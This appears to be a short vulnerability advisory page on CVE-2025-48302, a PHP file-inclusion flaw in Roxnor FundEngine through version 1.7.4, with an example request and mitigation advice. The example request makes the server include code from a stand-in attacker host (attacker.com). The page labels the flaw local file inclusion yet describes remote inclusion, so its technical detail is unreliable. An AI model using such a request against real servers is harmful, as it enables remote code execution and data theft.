Overview
The vulnerability, CVE-2025-48302, is a significant security flaw found in Roxnor FundEngine that allows PHP Local File Inclusion due to an Improper Control of Filename for Include/Require Statement in its PHP Program. This vulnerability has a high impact on the confidentiality, integrity, and availability of the system. It could potentially lead to a full system compromise, data leakage, and give unauthorized access to sensitive data if successfully exploited.
Vulnerability Summary
CVE ID: CVE-2025-48302
Severity: High (7.5)
Attack Vector: Remote
Privileges Required: Low
User Interaction: None
Impact: System compromise, data leakage
Affected Products
Share secrets securely
Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.
Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.
- • Encrypted identity
- • Private Spaces for organizations and teams
- • End-to-end encrypted chat, calls, files, and notes
- • Sensitive AI work and protected collaboration
- • Built for information that cannot leak
Our mission is to secure human work alongside AI.
Product | Affected Versions
Roxnor FundEngine | n/a through 1.7.4
How the Exploit Works
The vulnerability stems from an improper control of filename in the include/require statement in the PHP program of Roxnor FundEngine. This allows an attacker to manipulate the file that should be included. When a malicious user crafts a specific request to the application, it could cause the PHP interpreter to include a remote file hosted on an attacker-controlled server, leading to remote code execution on the server running the affected application.
Conceptual Example Code
Here’s a conceptual example of how the vulnerability might be exploited. This could be a sample HTTP request:
GET /index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.comIn this example, the attacker exploits the vulnerability by calling a malicious file hosted on their server (attacker.com/malicious_file.php). The server running the Roxnor FundEngine application then executes the malicious file, leading to a potential system compromise or data leakage.
Mitigation
To mitigate this vulnerability, it is recommended to apply any patches provided by the vendor. If a patch is not immediately available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent exploitation attempts could serve as a temporary mitigation measure. Regularly updating and patching systems is also a good security practice to prevent such vulnerabilities.